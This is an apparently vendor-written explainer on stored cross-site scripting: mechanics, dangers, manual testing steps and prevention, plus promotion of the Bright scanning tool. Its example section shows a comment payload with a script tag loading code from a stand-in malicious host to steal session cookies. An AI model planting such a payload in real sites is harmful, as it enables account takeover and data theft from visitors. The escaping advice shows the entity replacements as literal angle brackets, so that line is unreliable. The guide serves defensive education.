What Is Stored XSS (Cross Site Scripting)?
XSS is an attack technique that injects malicious code into vulnerable web applications. Unlike other attacks, this technique does not target the web server itself, but the user’s browser.
Stored XSS is a type of XSS that stores malicious code on the application server. Using stored XSS is only possible if your application is designed to store user input—a classic example is a message board or social media website.
In this article:
- Why Is Stored XSS Dangerous?
- Stored XSS Attack Example
- How to Find and Test for Stored XSS Vulnerabilities
- Stored XSS Prevention
- Stored XSS with Bright
How Does a Stored XSS Attack Work?
A stored XSS attack typically works as follows:
- An attacker injects malicious code in a request to submit content to the application.
- The application believes the request is innocent, processes the user input and stores it in the database.
- From this point onwards, every time the submitted content is displayed to users, the malicious code executes on their browsers.
Depending on the type of payload and the vulnerabilities present in the user’s browser, stored XSS attacks can allow attackers to:
- Hijack the user’s session and perform actions on their behalf
- Steal the user’s credentials
- Hijacking the user’s browser or delivering browser-based exploits
- Obtain sensitive information stored in the user’s account or in their browser
- Port scanning of hosts the web application can connect to
- Website defacement
Why Is Stored XSS Dangerous?
Stored XSS (also known as second-order XSS) is the most dangerous type of cross-site scripting attack. The reason is that it does not require users to click a malicious link or perform any activity, other than browsing to a legitimate web page. Once an attacker discovers a stored XSS vulnerability and injects XSS code into the database, all visitors to affected pages are compromised, until the exploit is discovered.
Stored XSS attacks are even more significant in websites that require authentication. When an authenticated user visits a page with stored XSS, attackers are usually able to hijack their session and perform actions on their behalf. On some websites, such as those of financial or medical institutions, this can result in financial loss or exposure of highly sensitive data.
The most damaging scenario is when the user exposed to stored XSS is a highly privileged user, such as the administrator of the web application or other systems. Attackers may be able to obtain the session authentication token, gaining admin-level access to the network.
While stored XSS attacks are severe, they are also quite rare, because an attacker needs to find a combination of a website with high traffic, which also accepts user inputs, and suffers from an XSS vulnerability.
Stored XSS Attack Example
Consider an attacker browsing a retail website. The attacker notices a vulnerability that allows HTML tags to be included in the comments section, including the <script> tag. Embedded tags become a permanent feature of the page, and each time the page is opened, the browser parses the tags along with the rest of the source code.
The attacker can then submit a comment like this:
<p>I highly recommend this product!</p>
<script src=”http://malicious.com/exploit.js”> </script>
The comment is published on the page and every time the page loads for a visitor, the malicious script runs. In this case, the script is designed to steal a visitor’s session cookie, meaning the attacker can take over a user’s account. This gives them access to credit card and other personal data, and also lets them make purchases on behalf of the user.
What is important to realize is that any visitor who clicks through to a page where this comment appears, even if they don’t scroll down to the comment section, will be affected by the attack without knowing it. This is in contrast to a reflected XSS attack, in which victims must click a malicious link to be affected. This means stored XSS can impact many more website users, including those who are security conscious and careful about clicking unknown links.
See real life examples of attacks in our guide to XSS attacks
How to Find and Test for Stored XSS Vulnerabilities
There are multiple website vulnerability scanners available that can automatically detect stored XSS vulnerabilities. Dynamic Application Security Testing (DAST) tools like Bright go one step further, exercising user inputs and demonstrating if the vulnerability can be exploited or not.
Can you test for stored XSS manually?
Testing for stored XSS vulnerabilities manually can be difficult. A stored XSS vulnerability means that an entry point, where the application accepts user input, connects to an exit point where that input is displayed to a user.
Systematically testing for stored XSS means inspecting all entry points via HTTP request headers, URL query string and message body, URL path, or specific application functionality such as commenting, messaging, or any submission of data via forms.
Large web applications may have a large number of entry points. The main challenge is that the tester cannot foresee which exit point will display a user input. For example, user-provided display names can appear in multiple places in the user interface, in an audit log, and in many other locations.
Stored XSS testing method
- Identifying entry points to the application
- Submitting inputs into each entry point
- Checking to see where the application displays those entry points
- Ensuring that the displayed content is persistent across sessions, and not only shown for the current session
- Testing the XSS payload itself, like in a reflected XSS attack
Related content: Read our guide to XSS vulnerabilities
Stored XSS Prevention
There are several factors to keep in mind to help you prevent stored XSS:
- Secure handling of user input—you must never implicitly trust input submitted by a user. Inspect all user-submitted input to ensure it doesn’t include risky characters that may affect how a user’s browser interprets the data on your website. Implement thorough input validation and ensure characters are output-escaped.
- Request blocking—you can allow or block user-submitted input based on its risk of containing a malicious payload. For example, if the input contains <script>, it likely includes a cross site scripting payload, and you might reject the request. Generally, you should maintain tight control, restricting the characters you allow. This approach is more effective than allowing all inputs by default and only blocking those containing a known malicious string. Innovative attackers can use alternative scripts to bypass your protective measures.
- Escaping—encode any special characters to ensure the program interprets them literally (and not as special characters) before you allow them to render on your webpage. You might, for example, replace angle brackets < > in HTML with alternative characters, like < and >, to prevent the characters contained in them from forming a tag. You should also escape characters that convey special meanings in HTML.
- Mitigating the damage of an XSS attack—implement measures to reduce the impact of a successful XSS exploit. For example, you can protect sensitive user cookies on your website by setting the HttpOnly flag. You can also configure the browser to only execute scripts from a list of approved sources by applying an HTTP response header such as Content-Security-Policy.
Related content: Read our guide to cross site scripting prevention (coming soon)
Detecting and Testing for XSS with Bright
While Dynamic Application Security Testing (DAST) tools are able to test for some XSS vulnerabilities, they are often limited and produce a high ratio of false positives.
Bright can automatically crawl your applications to test for reflected, stored and DOM-based XSS vulnerabilities, giving you maximum coverage, seamlessly integrated across development pipelines.
Engineering and security teams can trust Bright’s results, with automatic validation of every XSS finding carried out, with no false positives. Bright even generates a screenshot proof of concept along with comprehensive developer friendly remediation advice to fix the issue quickly and early.